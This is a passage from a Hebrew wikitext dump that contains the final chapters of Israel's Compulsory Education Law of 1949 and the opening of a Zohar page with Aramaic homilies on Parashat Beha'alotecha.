== פרק חמישי: הוראות כלליות ==

@ 10א. תקצוב מוסדות פטורים (תיקון: תשע&quot;ג-2, תשע&quot;ו-2)
: השר, בהתייעצות עם שר האוצר, רשאי לקבוע בתקנות, הוראות ותנאים לעניין השתתפות המדינה בתקציב מוסדות חינוך שניתנה לגביהם הוראת פטור לפי [[סעיף 5(א)]] (בסעיף זה - מוסדות פטורים), ובכלל זה לעניין שיעור ההשתתפות בתקציב כאמור ולעניין הפעלת המוסדות הפטורים, והכול אם יחליט השר כי יש לתקצב מוסדות כאמור.
: ((פורסמו [[תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה), התשפ&quot;ד-2024]].))

@ 11. גיל (תיקון: תשל&quot;ח, תשע&quot;ג)
: לצורך חוק זה, רואים אדם כאילו הגיע לגיל מסויים בראשית כל שנת לימודים, אם יגיע לאותו גיל לפני יום 31 בדצמבר שבאותה שנת לימודים.

@ 12. כרטיסיית ילדים ונערים בגיל לימוד חובה (תיקון: תשל&quot;ח)
: כל רשות חינוך מקומית תנהל כרטיסיה של כל הילדים בגיל לימוד חובה וכל הנערים הגרים בתחום שיפוטה.

@ 12א. חובת דיווח של מנהל מוסד חינוך (תיקון: תשס&quot;א-3)
: (א) מנהל מוסד חינוך ידווח, על פי כללים שקבע השר, למי שהשר הסמיכו לענין זה מבין עובדי משרדו, ולמנהל ממחלקת חינוך ברשות המקומית שבתחומה מצוי מוסד החינוך, על אלה:
:: (1) תלמיד הרשום במוסד החינוך שאינו לומד באופן סדיר כאמור [[בסעיף 4(ז)]];
:: (2) תלמיד שהיה רשום במוסד החינוך בשנת הלימודים החולפת, ולא נרשם לשנת הלימודים הקרובה באותו מוסד חינוך.
: (ב) בסעיף זה -
::- &quot;מנהל מחלקת חינוך&quot; - כהגדרתו [[בחוק הרשויות המקומיות (מנהל מחלקת חינוך), התשס&quot;א-2001]];
::- &quot;תלמיד&quot; - מי שזכאי לחינוך חינם לפי [[סעיף 6]].
: ((פורסמו [[תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך), התשס&quot;ה-2004]].))

@ 12ב. איסור הרחקה לצמיתות בשל הישגים לימודיים (תיקון: תשס&quot;א-3)
: לא יורחק תלמיד, כהגדרתו [[בסעיף 12א]], לצמיתות, ממוסד חינוך בשל הישגיו הלימודיים אלא בהתאם לכללים שקבע השר; אין בהוראות סעיף זה כדי לגרוע מהוראות [[חוק זכויות התלמיד, התשס&quot;א-2000]].
: ((פורסמו [[תקנות לימוד חובה (כללים להרחקת תלמיד לצמיתות ממוסד חינוך בשל הישגיו הלימודיים), התשס&quot;ה-2004]].))

@ 12ג. חובת דיווח על אלימות (תיקון: תשס&quot;ו)
: (א) מנהל מוסד חינוך ידווח, על פי כללים שקבע השר, למי שהשר הסמיכו לענין זה מבין עובדי משרדו, על כל אירוע אלימות שהתרחש במוסד החינוך, שהוא אחד מאלה:
:: (1) אירוע של אלימות גופנית בין עובד הוראה לבין תלמיד;
:: (2) אירוע של אלימות גופנית בין תלמידים, שנגרמה בו חבלה.
: (ב) מנהל מוסד חינוך ידווח על אירוע כאמור בסעיף קטן (א) מיד לאחר התרחשותו, וכן על תוצאות הטיפול באירוע, לרבות אמצעי משמעת שננקטו, עם סיום הטיפול כאמור.
: (ג) בסעיף זה -
::- &quot;מוסד חינוך&quot; - לרבות מוסד חינוך שלומדים בו תלמידים בכיתות י&quot;א ו((-))י&quot;ב אשר חל עליו [[חוק פיקוח על בתי ספר, התשכ&quot;ט-1969]];
::- &quot;תלמיד&quot; - מי שלומד במוסד חינוך.

@ 12ד. הגבלת מספר התלמידים בלימודי מיומנויות היסוד (תיקון: תשס&quot;ז, תשע&quot;ג-2, תשע&quot;ז, תשע&quot;ז-2)
: (א) בלימודים בכיתת יסוד במוסד חינוך רשמי, שלומדים בה יותר מ-34 תלמידים בכיתה, יילמדו שעתיים לפחות מסך כל שעות הלימוד השבועיות של מיומנויות היסוד במסגרת לימודים שבה מספר התלמידים למורה אינו עולה על עשרים תלמידים.
: (א1) על אף האמור בסעיף קטן (א), בלימודים בכיתה א' במוסד חינוך רשמי שהוא בעל ציון טיפוח 7–10 במדד הטיפוח, שלומדים בה עד 34 תלמידים בכיתה, תילמד שעה אחת לפחות מסך כל שעות הלימוד השבועיות של מיומנויות היסוד במסגרת לימודים שבה מספר התלמידים למורה אינו עולה על עשרים תלמידים; לעניין זה, &quot;מדד הטיפוח&quot; - מדד הטיפוח כפי שפורסם בחוזר המנהל הכללי של משרד החינוך.
: (ב) בסעיף זה -
::- &quot;כיתת יסוד&quot; - כיתה א' או ב';
::- &quot;מיומנויות היסוד&quot; - מיומנויות הקריאה, הכתיבה והחשבון;
::- &quot;תלמיד&quot; - מי שזכאי לחינוך חינם לפי הוראות [[סעיף 6(א)]].

@ 12ה. אי-נשיאה בשכר לימוד או שלילת השתתפות המדינה בתקציב מוסד חינוך בשל הזדהות עם טרור (תיקון: תשפ&quot;ה)
: (א) על אף האמור [[בסעיף 6(ג)]], השר, או מי שהוא הסמיך לעניין זה, רשאי להורות כי אוצר המדינה לא יישא, זמנית או דרך קבע, בשכר הלימוד של תלמיד הלומד במוסד חינוך אחר, כולו או חלקו, אם הוכח להנחת דעתו כי באותו מוסד מתקיימים גילויי הזדהות עם מעשה טרור או עם ארגון טרור או תמיכה בהם שהנהלת מוסד החינוך ידעה או הייתה צריכה לדעת על קיומם; בסעיף זה, &quot;ארגון טרור&quot; ו&quot;מעשה טרור&quot; - כהגדרתם [[בחוק המאבק בטרור, התשע&quot;ו-2016]].
: (ב) על אף האמור [[בסעיף 10א]], השר, או מי שהוא הסמיך לעניין זה, רשאי להורות על שלילה זמנית או קבועה של השתתפות המדינה, באופן מלא או חלקי, בתקציב מוסד חינוך שניתנו לגביו הוראות פטור, אם הוכח להנחת דעתו כי באותו מוסד מתקיימים גילויי הזדהות עם מעשה טרור או עם ארגון טרור או תמיכה בהם שהנהלת מוסד החינוך ידעה או הייתה צריכה לדעת על קיומם.
: (ג) החלטה כאמור בסעיף קטן (א) או (ב) תתקבל לאחר התייעצות עם מנהל המחוז המפקח על מוסד החינוך, והכול כפי שיקבע השר.
: (ד) השר, או מי שהוא הסמיך לעניין זה, לא יפעיל את הסמכות הנתונה לו בסעיף קטן (א) או (ב) אלא לאחר שהודיע למוסד החינוך על הכוונה להפסיק את התקצוב ונתן לו הזדמנות להשמיע את טענותיו.
: (ה) אין בהוראות סעיף זה כדי לגרוע מהוראות כל דין.

@ 13. העברת סמכויות השר
: (א) השר רשאי להעביר לאחר את הסמכויות המסורות לו על פי [[סעיפים 4(ו)]] [[ו-5(ב)]], כולן או מקצתן.
: (ב) הודעה על העברת סמכויות על פי סעיף זה תפורסם ברשומות.

== פרק ששי: ביצוע ==

@ 14. תפקידי מועצת החינוך (תיקון: תשי&quot;ג-2, תשל&quot;ח-3)
: השר יוועץ בועד החינוך בטרם ישתמש בסמכות מן הסמכויות המסורות לו לפי חוק זה, חוץ מן הסמכויות המסורות לו לפי [[סעיפים 4(ב)(3)]], [[4(ו)]], [[5(ב)]], [[6(ג)]], [[7(ב)]], [[8]] [[ו-13]] וחוץ מן הסמכויות ליתן אישור ולקבוע שיעור תשלומים לפי [[סעיף 6(ד)]].

@ 15. ביצוע ותקנות (תיקון: תשכ&quot;ט-2)
: (א) השר ממונה על ביצוע חוק זה והוא רשאי להתקין תקנות בכל ענין הנוגע לביצועו.
: (ב) השר רשאי לקבוע בתקנות חובת רישום בנוסף לחובות על-פי [[סעיף 3]], ולהסדירה בהתאם לאמור [[בסעיף 21 לחוק חינוך ממלכתי, תשי&quot;ג-1953]], ובלבד שהרישום ייעשה במוסד חינוך.
: ((פורסמו [[תקנות לימוד חובה וחינוך ממלכתי (רישום), תשי&quot;ט-1959]].))
: ((פורסמו [[תקנות לימוד חובה (רישום לגני ילדים) (הוראת שעה)|תקנות לימוד חובה (רישום לגני ילדים), תשל&quot;ח-1978]].))
: ((פורסמו [[תקנות לימוד חובה וחינוך ממלכתי (רישום נוסף), תשל&quot;ח-1978]].))
: ((פורסמו [[תקנות לימוד חובה (חינוך חינם שלא במוסד חינוך רשמי), תשל&quot;ח-1978]].))
: ((פורסמו [[תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך), התשס&quot;ה-2004]].))
: ((פורסמו [[תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה), התשפ&quot;ד-2024]].))

@ 16. תחילת תוקף
: תקפו של חוק זה הוא מיום פרסומו ברשומות; אולם בתקופה שבין אותו יום ובין יום י&quot;ג בניסן תש&quot;י (31 במרס 1950) יבוצעו הוראות חוק זה רק במידה שיקבע השר בצו שיפורסם ברשומות.

&lt;פרסום&gt; נתקבל בכנסת ביום י&quot;ח באלול תש&quot;ט (12 בספטמבר 1949).
&lt;חתימות&gt;
* ד. בן-גוריון, ראש הממשלה
* ז. שזר, שר החינוך והתרבות
* יוסף שפרינצק, יושב ראש הכנסת, ממלא מקום נשיא המדינה</text>
      <sha1>n88yfjllnjjnjvctpu39jtrsolw2sx5</sha1>
    </revision>
  </page>
  <page>
    <title>זוהר חלק כו</title>
    <ns>0</ns>
    <id>261522</id>
    <revision>
      <id>3020701</id>
      <parentid>3020591</parentid>
      <timestamp>2026-06-18T20:06:41Z</timestamp>
      <contributor>
        <username>Roxette5</username>
        <id>5159</id>
      </contributor>
      <comment>/* פרשת שלח לך - זהר */</comment>
      <origin>3020701</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="298578" sha1="cef6mlincko3mh88znk8blp4pmr5vjl" xml:space="preserve">{{סרגל ניווט|זוהר||חלק כה|חלק כו|חלק כז}}
__TOC__
==פרשת בהעלותך - זהר==
{{ממ זהר משולב|ג|קמח|ב}}{{ש}}
&lt;קטע התחלה=דף קמח ב/&gt;'''{{צ|וידבר יהוה אל משה לאמר דבר אל אהרן ואמרת אליו בהעלותך את הנרות וגו'}} {{הפניה לפסוקים|במדבר|ח|א|ב}}''' {{ש}}
רבי יהודה פתח {{צ|והוא כחתן יוצא מחופתו וגו'}} {{ממ|תהלים|יט|ו}} - זכאה חולקיהון דישראל דקב&quot;ה אתרעי בהון ויהב להון אורייתא דקשוט, אילנא דחיי דביה ירית בר נש חיין להאי עלמא וחיין לעלמא דאתי. דכל מאן דאשתדל באורייתא ואחיד בה - אחיד בחיין, וכל מאן דשביק מלי דאורייתא ואתפרש מאורייתא - כאלו מתפרש מחיין. בגין דהיא חיין וכל מלוי חיין. הדא הוא דכתיב {{צ|כי חיים הם וגו'}} {{ממ|משלי|ד|כב}}. וכתיב {{צ|רפאות תהי לשרך וגו'}} {{ממ|משלי|ג|ח}}. 

תא חזי אילנא דחיי אחיד מעילא לתתא. והאי שמשא דנהיר לכלא - נהורא דיליה שארי מרישא, ואתפשט בגופא דאילנא בארח מישר. תרין סטרין אחידן ביה - חד לצפון וחד לדרום. חד ימינא וחד שמאלא.

בשעתא דשמשא נהיר כמה דאתמר מההוא גופא דאילנא - אתקיף לדרועא דימינא ואנהיר בתוקפיה. ומתוקפיה נהיר שמאלא ואתכליל בנהוריה. 

{{צ|והוא כחתן יוצא מחפתו}} - מאן איהו {{צ|חפתו}}? דא איהו {{צ|עטרה שעטרה לו אמו ביום חתנתו}} {{ממ|שיר|ג|יא}}.{{ש}} 
{{צ|יוצא מחפתו}} - דא איהו רישא דכל נהורא, כמה דאת אמר בקרא דאבתריה - {{צ|מקצה השמים מוצאו}} {{ממ|תהלים|יט|ז}}. דא שירותא דכלא דאקרי {{צ|מקצה השמים}}, וכדין נפיק כחתן ממש כד נפיק לאערעא לכלתיה רחימתא דנפשוי ופריש דרועוי ומקבל לה. כהאי גוונא {{צ|והוא כחתן יוצא מחפתו}} - אזלא שמשא ואתפשט לגבי מערב. 

כיון דמערב אתקריב, סטר צפון אתער לקבליה בקדמיתא, וקריב למערב וזויג לה{{הערה|הכי גריס הרמק (המתוק מדבש)}} באתריה כמה דאתמר, דכתיב {{צ|שמאלו תחת לראשי}} {{ממ|שיר|ח|ג}}. ולבתר סטר דרום דאיהו ימינא דכתיב {{צ|וימינו תחבקני}}. כדין {{צ|ישיש כגבור לרוץ ארח}} - לאנהרא סיהרא ואוקמוה. 


תא חזי '''{{צ|בהעלותך את הנרות}}''' - אלין בוצינין עלאין דכלהו נהירין כחדא מן שמשא. '''(חסר כאן)'''
{{להשלים}} 


ר' אבא פתח: {{צ|אשרי העם יודעי תרועה יהוה באור פניך יהלכון}} {{ממ|תהלים|פט|טז}}. {{ש}}
האי קרא אוקמוה, אבל תא חזי זכאין אינון ישראל! &lt;קטע סוף=דף קמח ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קמט|א}}{{ש}}&lt;קטע התחלה=דף קמט א/&gt; דקב&quot;ה יהב לון אורייתא קדישא, ואוליף לון ארחוי לאתדבקא ביה ולמיטר פקודי דאורייתא למזכי בהו לעלמא דאתי, וקריב להו בשעתא דנפקו ממצרים - דהא כדין אפיק לון מרשותא אחרא וסליק לון לאתאחדא בשמיה. וכדין אקרון בני ישראל 'בני חורין' מכלא - דלא יתבו תחות רשותא אחרא, וסליק לון לאחדא בשמיה דסליק על כלא דשליט על עלאין ותתאין. 

ומגו רחימותא דלהון קרא לון {{צ|בני בכורי ישראל}} כגוונא  עלאה. ועל דא קטל  כל בכור דלעילא ותתא, ושרא קטירין ואסירין דעלאין ותתאין, בגין לאפקא לון ועבד לון בני חורין מכלא. ועל דא לא בעא קב&quot;ה לא מלאך ולא שרף אלא איהו. ועוד דהא איהו ידע לאבחנא ולמנדע כלא ולמשרי אסירין. ולאו אינון ברשותא דשליחא אחרא אלא בידיה. 

תא חזי בההוא ליליא דבעא קב&quot;ה לקטלא כל אינון בכורי כמה דאתמר, בשעתא דרמש ליליא אתו מזמרין לזמרא קמיה. אמר לון &quot;''לאו עידן הוא! דהא שירתא אחרא מזמרין בני בארעא!''&quot;. 

בשעתא דאתפליג ליליא - אתער רוח צפון, וקב&quot;ה כדין עבד נוקמין  וישראל מזמרין ואמרין הלילא בקול רם, וכדין עבד לון בני חורין מכלא. ומלאכין עלאי וכל משריין כלהו הוו צייתין להון לקליהון דישראל. בתר דאתגזרו - רשימו לבתיהון מההוא דמא ומדמא דפסחא, בתלת רשימין - על המשקוף ועל שתי המזוזות. מאי טעמא? הא אוקמוה בגין דאיהו רשימא קדישא, ומחבלא כד איהו נפיק וחמי ההוא דמא דהוה רשים על ההוא פתחא -- חייס עלייהו דישראל. הדא הוא דכתיב {{צ|ופסח יהוה על הפתח וגו'}} {{ממ|שמות|יב|כג}}. 

הכא אית לאסתכלא. אי קודשא בריך הוא אתי וקטיל בארעא דמצרים ולא שליח אחרא - רשימא דא דעל פתחא למה? והא כלא גלי קמיה!? {{ש}}
ותו  מהו {{צ|ולא יתן המשחית}}?! &quot;ולא ישחית&quot; מבעי ליה?! {{ש}}
אלא ודאי הכי הוא דכתיב {{צ|ויהו&quot;ה הכה כל בכור}} {{ממ|שמות|יב|כט}} - {{צ|ויהו&quot;ה - הוא ובית דינו}}. וההוא בי דינא הכא אשתכח. 

מכאן דבכלא בעי לאחזאה עובדא בגין לאשתזבא! דהא כגוונא דא על גבי מדבחא בגין דלא אשתכח מחבלא. האי בעובדא. ובזמנא דלא אצטריך האי - כגון ראש השנה דאיהו יומא דדינא ומאריהון דלישנא בישא קיימין עלייהו דישראל - בעינן מלין צלותין ובעותין ובעינן לאחזאה עובדא כמה דאוקימנא והא אתמר. ובמה? בשופר,  לאתערא שופרא אחרא. ואנן מפיקין בההוא קלא רחמי ודינא כחדא, כלא כדקא יאות, כמה דההוא שופר עלאה אפיק קלא דאיהו כללא כחדא. ולאתערא רחמי קאזלינן, ולתברא מאריהון דדינא דלא ישלטון בהאי יומא. {{ש}}
וכד רחמי מתערין - כלהו בוצינין עלאין נהרין מהאי גיסא ומהאי גיסא. כדין {{צ|באור פני מלך חיים}} {{ממ|משלי|טז|טו}}. 

תא חזי בשעתא דכהנא  אתכוון לאדלקא בוצינין לתתא והוה קריב קטורת בוסמין - בההוא שעתא כדין בוצינין עלאין נהרין ואתקטר כלא כחדא, וחדו וחדוותא אשתכח בכלהו עלמין. הדא הוא דכתיב {{צ|שמן וקטורת ישמח לב}} {{ממ|משלי|כז|ט}}. {{ש}}
ועל דא '''{{צ|בהעלותך את הנרות}}'''.


'''רבי אלעזר ור' יוסי ור' יצחק''' הוו אזלי באורחא. {{ש}}
פגעו באינון טורי קרדו. {{ש}}
עד דהוו אזלי - זקף עינוי ר' אלעזר וחמי אינון טורי רמאי, והוו חשוכן ודחלן בדחילו. {{ש}}
א&quot;ר אלעזר לאינון חברייא: &quot;''אלו אבא הכא - לא הוה דחילנא! אבל כיון דאנן תלתא ומלי דאורייתא ביננא - דינא הכא לא אשתכח!''&quot; 

פתח ר' אלעזר ואמר: כתיב {{צ|ותנח התיבה בחדש השביעי וגו' על הרי אררט וגו'}} {{ממ|בראשית|ח|ד}}. {{ש}}
כמה חביבין מלי דאורייתא! דבכל מלה ומלה אית רזין עלאין ואורייתא כלא עלאה איקרי! ותנינן בתליסר מכילן דאורייתא {{צ|כל דבר שהיה בכלל ויצא מן הכלל ללמד - לא ללמד על עצמו יצא - אלא ללמד על הכלל כלו יצא}}. &lt;קטע סוף=דף קמט א/&gt;{{ש}}
{{ממ זהר משולב|ג|קמט|ב}}{{ש}}
&lt;קטע התחלה=דף קמט ב/&gt;דהא אורייתא דאיהי כללא עלאה - אע&quot;ג דנפק מנה חד ספור בעלמא - ודאי לא אתי לאחזאה על ההוא ספור, אלא לאחזאה מלין עלאין ורזין עלאין! ולא ללמד על עצמו יצא - אלא ללמד על הכלל כלו יצא! בגין דההוא ספור דאורייתא או ההוא עובדא - אע&quot;ג דהוא נפקא מכללא דאורייתא - לאו לאחזאה על גרמיה נפק בלבד, אלא לאחזאה על ההוא כללא עלאה דאורייתא כלא נפק! 

כגון האי דכתיב {{צ|ותנח התיבה בחדש השביעי בשבעה עשר יום לחדש על הרי אררט}}. ודאי האי קרא מכללא דאורייתא נפק ואתי בספור דעלמא! מאי אכפת לן אי שרי בהאי או בהאי - דהא באתר חד לישרי?! אלא ללמד על הכלל כלו יצא! וזכאין אינון ישראל דאתיהיב להו אורייתא עלאה אורייתא דקשוט! ומאן דאמר דההוא ספורא דאורייתא לאחזאה על ההוא ספור בלבד קאתי - תיפח רוחיה! דאי הכי לאו איהי אורייתא עלאה אורייתא דקשוט. אלא ודאי אורייתא קדישא עלאה איהי אורייתא דקשוט. 

תא חזי מלך בשר ודם לאו יקרא דיליה הוא לאשתעי מלה דהדיוטא - כל שכן למכתב ליה. ואי סליק בדעתך דמלכא עלאה קב&quot;ה לא הוו ליה מלין קדישין למכתב ולמעבד מנייהו אורייתא, אלא דאיהו כניש כל מלין דהדיוטין כגון מלין דעשו, מלין דהגר, מלין דלבן ביעקב, מלין דאתון, מלין דבלעם, מלין דבלק, מלין דזמרי - וכניש להו וכל שאר ספורין דכתיבין ועביד מנייהו אורייתא. אי הכי אמאי אקרי 'תורת אמת' - {{צ|תורת יהוה תמימה. עדות יהוה נאמנה. פקודי יהוה ישרים. מצות יהוה ברה. יראת יהוה טהורה. משפטי יהוה אמת}}?! וכתיב {{צ|הנחמדים מזהב ומפז רב}} - אלין אינון מלי דאורייתא! {{ש}}
אלא ודאי אורייתא קדישא עלאה איהו אורייתא דקשוט, {{צ|תורת יהוה תמימה}}, וכל מלה ומלה אתייא לאחזאה מלין  עלאין. דההוא מלה דההוא ספור לאו לאחזאה על גרמיה בלבד קא אתיא - אלא לאחזאה על ההוא כללא קאתי כמה דאוקימנא. 

תא חזי {{צ|ותנח התיבה וגו'}}. האי קרא כך  איהו והא אתמר. בשעתא דדינא תלי על עלמא ודינין שריין, וקב&quot;ה יתיב על כורסייא דדינא למידן עלמא בההוא כורסייא - כמה רשימין אתרשימו ביה! כמה פיתקין גניזין בגויה! בגו אחמתא דמלכא כלהו ספרים דפתיחו תמן אתגניזו. ובגין כך לא אתנשי מלה מן מלכא. והאי כורסייא לא אתקן ולא שריא אלא ב{{צ|חדש השביעי}} דאיהו יומא דדינא, יומא דכל בני עלמא אתפקדון ביה. כלהו עברין קמי ההוא כרסייא.{{ש}}
ועל דא {{צ|ותנח התבה בחדש השביעי}} - בחדש השביעי ודאי! דאיהו דינא דעלמא. 

{{צ|על הרי אררט}} - אלין  מאריהון דדינין, מאריהון דיבבא ויללא.  דכלהו שכיחין בההוא יומא קמי קב&quot;ה. וכמה מארי תריסין אתערו בהאי יומא, וכלהו קיימי תחות ההוא כרסייא בדינא דעלמא. וישראל מצלאן צלותא בההוא יומא ובעאן ומתחננן קמיה, ותקעין בשופר, וקב&quot;ה חייס עלייהו ומהפך דינא לרחמי. וכל עלאי ותתאי פתחי ואמרי {{צ|אשרי העם יודעי תרועה}}. 

ועל דא בעינא בההוא יומא דההוא דתקע דידע עקרא דמלה, ויכוון ביה בתרועה ויעביד מלה בחכמתא. ועל דא כתיב {{צ|אשרי העם '''יודעי''' תרועה}} ולא כתיב &quot;תוקעי תרועה&quot;. והא אתמר. 


אזלו כל ההוא יומא. {{ש}}
כד רמש ליליא סליקו לחד אתר ואשכחו חד מערתא. {{ש}}
אמר רבי אלעזר &quot;''ליעול חד גו מערתא  אי אשתכח אתר דאיהו יתיר מתתקן''&quot;.{{ש}} 
עאל ר' יוסי וחמא מערתא אחרא בגויה, נהורא דשרגא ביה. {{ש}}
שמע חד קלא דהוה אמר '''{{צ|בהעלותך את הנרות אל מול פני המנורה יאירו שבעת הנרות}} {{ממ|במדבר|ח|ב}}''' - ''הכא נטלא כנסת ישראל נהורא.''&lt;קטע סוף=דף קמט ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנ|א}}{{ש}}
&lt;קטע התחלה=דף קנ א/&gt;''ואמא עלאה מתעטרא, וכלהו בוצינין מינה נהרין. בה תרין טופסירין דקיקין פרחין. שושבינין  כלהו קטרין לגבי עלאה ומתמן לתתא''. 

שמע ר' יוסי וחדי. {{ש}}
אתא לגבי ר' אלעזר. {{ש}}
אמר ליה ר' אלעזר: &quot;''ניעול! דקב&quot;ה אקדים לן האי יומא לאתרחשא לן בנסין''&quot;. {{ש}}
עאלו. {{ש}}
כיון דעאלו חמו תרין בני נשא דהוו לעאן באורייתא. {{ש}}
אמר רבי אלעזר {{צ|מה יקר חסדך אלהים ובני אדם בצל כנפיך יחסיון}}! {{ממ|תהלים|לו|ח}} {{ש}}
קמו אלין ויתבי כלהו וחדו כלהו. {{ש}}
אמר רבי אלעזר: {{צ|מה יקר חסדך אלהים}} דאשכחנא לכו! חסד עבד לן קב&quot;ה באתר דא! השתא אדליקו בוצינין! 


פתח רבי יוסי ואמר: '''{{צ|בהעלותך את הנרות}}''' - {{צ|בהעלותך}} ממש! באדלקותך! דהא כחדא אתעביד על ידא דכהנא תרין פולחנין דאינון קשורא חדא. ומאן אינון? שמן וקטרת, כדכתיב {{צ|שמן וקטרת ישַמח לב}} {{ממ|משלי|כז|ט}} דכתיב {{צ|והקטיר עליו אהרן קטרת סמים בבקר בבקר בהיטיבו את הנרת יקטירנה}} {{ממ|שמות|ל|ז}}, וכתיב {{צ|ובהעלות אהרן את הנרות בין הערבים יקטירנה}} {{ממ|שמות|ל|ח}}. {{ש}}
מאי שנא הכא {{צ|בהטיבו}} ומאי שנא התם {{צ|ובהעלות}}? 

* אמר ר' יהודה: כלא חד מלה! 

* רבי יוסי אמר: {{צ|בהטיבו}} - כמה דאת אמר {{צ|כי טובים דודיך מיין}} {{ממ|שיר|א|ב}}. {{צ|טובים}} - רווי חמרא, כמה דאת אמר {{צ|ונשבע לחם ונהיה טובים}} {{ממ|ירמיהו|מד|יז}}. 

* ר' יהודה אמר: הטבה ממש! כמה דאת אמר {{צ|וטוב לב משתה תמיד}} {{ממ|משלי|טו|טו}}.  {{צ|ובהעלות}} - דהא בזמנא דאתשקיין ואתרוויין משקיו דנחלא - כדין עלאין עלוין וברכן  אשתכחו בכלהו וחדו בכלא. ועל דא {{צ|ובהעלות}}. 

* רבי אחא אמר: בשעתא דעמיקא דכלא נהיר  - נהיר בנחלא. ונחלא נגיד  בארח מישר לאשקאה כלא. כדין כתיב  {{צ|בהטיבו}}, בגין דהא מעומקא דכלא נפקי. {{צ|בהעלות}} - דאתי מסטרא עלאה דעמיקא  דכלא דאקרי 'מחשבה'. וכלא חד מלה! וכדין כנסת ישראל אתברכא, וברכאן אשתכחי בכלהו עלמין.


רבי יצחק פתח: כתיב {{צ|בנה בניתי בית זבול לך מכון לשבתך עולמים}} {{ממ|מ&quot;א|ח|יג}}. {{ש}}
{{צ|בית זבול}} - בית זבול ודאי! כד אתפקדו בידהא כל גנזי מלכא ושלטא בהו - כדין אקרי {{צ|בית זבול}}. ורקיע חד אית דאקרי {{צ|זבול}} - דהא דא אשכח לקבלא ברכאן ולסדרא כלא. והאי אקרי {{צ|בית זבול}}. 

תא חזי כתיב {{צ|ולזבולן אמר שמח זבולן בצאתך ויששכר באהלך}} {{ממ|דברים|לג|יח}} - מלמד דאשתתפו כחדא; דא נפיק ואגח קרבא, ודא יתיב ולעי באורייתא. ודא יהיב חולקא לדא, ודא יהיב חולקא לדא. 

בחולקיה דזבולון ימא, וכנסת ישראל אקרי {{צ|ים כנרת}}. והכי אתחזי בגין דהא תכלת נפיק מתמן ואוקמוה. דהא לתתא כגוונא דלעילא; ים כנרת לעילא, ים כנרת לתתא. תכלת לעילא, תכלת לתתא. וכלא באתר חד! ועל דא ירית זבולון למיפק לאגחא קרבא. ומנלן דהכי הוא? דכתיב {{צ|עמים הר יקראו שם יזבחו זבחי צדק}} {{ממ|דברים|לג|יט}}. {{צ|זבחי צדק}} ודאי! מאי טעמא? {{צ|כי שפע ימים יינקו}}. 

ויששכר חולקיה באורייתא, ויהיב לזבולון חולקא דאורייתא ודאי. ועל דא אשתתפו כחדא לאתברכא זבולון מיששכר - דברכתא דאורייתא היא ברכתא דכלא. 

ר' אבא אמר אחסנתא דאורייתא ודאי הכי הוא! ודרגא דא שתיתאה יהיב אגר  אורייתא ואחסין לה לכנסת ישראל. אחסין חוורא לתכלתא. ועל דא תנינן {{צ|משיכיר בין תכלת ללבן}}. דישתמודען גווני. דהא כדין אקרי '''בקר''', וחוורא אתי לעלמא ותכלתא אתעבר. ועל דא כל קרבין דמלכא וכל זייני מלכא בידהא אתמנן. והא אוקימנא. 


{{קטן|'''(חסר תחלת המאמר. ועיין [[זהר חלק ג רפו א|פרשה וילך רפו א]])'''}}{{ש}} 
{{צ|באר חפרוה שרים כרוה נדיבי העם}} {{ממ|במדבר|כא|יח}}. {{ש}}
{{צ|באר}} - דא כנסת ישראל. {{צ|חפרוה שרים}} - דא אבא ואמא דאולידו לה. {{צ|כרוה נדיבי העם}} - אלין אבהן דכתיב {{צ|נדיבי עמים נאספו עם אלהי אברהם וגו'}}. &lt;קטע סוף=דף קנ א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנ|ב}}{{ש}}
&lt;קטע התחלה=דף קנ ב/&gt;בגין לאתברכא מנהון על ידא דדרגא חד. ומנו? צדיק דקאים עלה. ועל דא אמרינן כד האי באר נטלא - בסיועא דאבהן נטלא! 

ואקרי {{צ|'''באר'''}} ואקרי {{צ|'''ים'''}}. {{ש}}
אקרי {{צ|'''באר'''}} - בשעתא דיצחק נפק מזיינא מסטרא דאימא ואתי לאמשכא אבתרא דדא, ומלי לה. כדין אקרי 'באר דיצחק' 'באר דמרים'. והא אוקמוה.{{ש}} 
{{צ|'''ים'''}} - כד אתנהרא מנהרא עלאה דאבא - כדין אקרי 'ים' דנחלין אזלן לגווה, כמה דאת אמר {{צ|כל הנחלים הולכים אל הים והים איננו מלא}} {{ממ|קהלת|א|ז}}. ומיומא דגלתה כנסת ישראל בגלותא כתיב {{צ|אזלו מים מני ים}} {{ממ|איוב|יד|יא}} - דא כנסת ישראל. {{צ|ונהר יחרב ויבש}} - דא צדיק. ועל דא כתיב {{צ|הצדיק אבד וגו'}} {{ממ|ישעיה|נז|א}} - דהוא הוה נהר עלאה ויקירא דעייל בגווה. והוא כניש כל אינון נהרין ונחלין דנגדין מנגידו דההוא נהר קדישא דלא פסקין מימוי לעלמין, דנגיד ונפיק מעדן עלאה, והוא עייל בגווה ומלי אגמהא. ומתמן ירתין עלמין כלהו  ברכן בכלא. 

תא חזי בשעתא דאתברכא כנסת ישראל - עלמין כלהו אתברכן! וישראל לתתא ינקין ומתברכן בגינה. והא אוקימנא. דהיא אגנא עלייהו דישראל כמה דאתמר. 


כתיב {{צ|ויסע מלאך האלהים ההלך לפני מחנה ישראל וילך מאחריהם ויסע עמוד הענן מפניהם ויעמד מאחריהם}} {{ממ|שמות|יד|יט}}. {{ש}}
{{צ|מלאך האלהים}} - דא כנסת ישראל, והא אוקימנא. דההיא שעתא בסיועא דאבהן נטלא, וכד אינון משתכחין לגבה - כלא משתכחי. ובגין כך אתמסר באלין קראי שמא קדישא דכליל בהון אבהתא כמה דאוקימנא. חד קרא כסדרא, וחד למפרע, וחד כסדרא. 

* {{צ|ויסע מלאך האלהים ההולך וגו'}} - דא כסדרא בגין דאברהם אשתכח הכא, וכל אינון דאתו מסטריה. ועל דא איהו כסדרא כגוונא דא:
[[קובץ:ויסע טבלה.PNG||300px|]]
: '''{{קטן|(אמר המגיה כאן מצאתי כתוב פסוק ויסע כסדר כל אות ואות בבית אחד במרובע עם זה הלשון ותמצאם כולם בסוף חלק שני)}}'''

